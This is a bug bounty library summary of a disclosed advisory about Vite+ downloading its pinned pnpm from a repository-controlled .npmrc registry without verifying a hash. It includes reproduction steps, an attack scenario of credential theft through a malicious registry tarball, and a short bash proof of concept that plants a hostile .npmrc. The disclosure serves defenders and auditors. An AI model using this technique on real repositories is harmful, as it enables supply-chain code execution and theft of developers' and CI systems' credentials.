# Vite+: Code Execution via an Unverified Package Manager Download from a Repository-Named Registry

Vite+ downloaded its pinned pnpm from a repo-controlled .npmrc registry without verifying a digest, executing attacker code on `vp --version`.

- Payout: Research
- Severity: high
- Program: Vite+
- Found by: arkmarta
- Disclosed: 2026-12-01
- CVE: CVE-2026-137191
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-5qr3-w62x-jmwx
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-5qr3-w62x-jmwx
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:default-creds technique:source-review vuln:misconfiguration vuln:rce

**Target:** Global `vp` CLI setup path (package manager bootstrap)
**Root cause:** download_package_manager is called with None as the expected hash, and the helper only compares a digest when one is supplied, so no integrity check occurs. The registry is read from a project-level .npmrc applied last, with no scheme/host restriction.
**Steps:**
1. Place `registry=$REG` in `victim-repo/.npmrc` alongside a minimal `package.json`.
2. Run `vp --version` in that directory with fresh `HOME`/`VP_HOME` so setup has not completed and pnpm is not cached.
3. Vite+ issues `GET /pnpm/-/pnpm-10.34.7.tgz` to the attacker registry and executes the archive's `bin/pnpm.cjs` entry point without digest comparison.
**How found:** Code review of the setup path: noticed the third argument (expected hash) to download_package_manager is the literal None, then traced that the digest comparison is conditional on a hash being present, and that registry config is loaded from the working directory's .npmrc and applied last.
**Exploitation:** Attacker commits a one-line .npmrc pointing registry at their server, which serves a tarball named pnpm containing a malicious bin/pnpm.cjs. Any developer or CI runner cloning the repo and running any vp command during first-time setup fetches and executes it as their account, yielding credential/token theft and arbitrary writes.
**Insight:** When auditing package-manager/bootstrap installers, check whether integrity verification is conditional on an optional hash argument (None silently skips the check) and whether registry/proxy config is resolved from the untrusted project directory rather than user/global scope.

## Proof of concept (copied exactly from the original report)

**Bash PoC: hostile .npmrc triggers pnpm download and execution**

```
printf 'registry=%s\n' "$REG" > victim-repo/.npmrc
printf '{"name":"demo-app","version":"1.0.0","private":true}\n' > victim-repo/package.json
( cd victim-repo && env HOME="$LAB/home" VP_HOME="$LAB/vphome" \
    VP_POC_MARKER="$VP_POC_MARKER" vp --version > /dev/null 2>&1 )
cat "$VP_POC_MARKER"
```

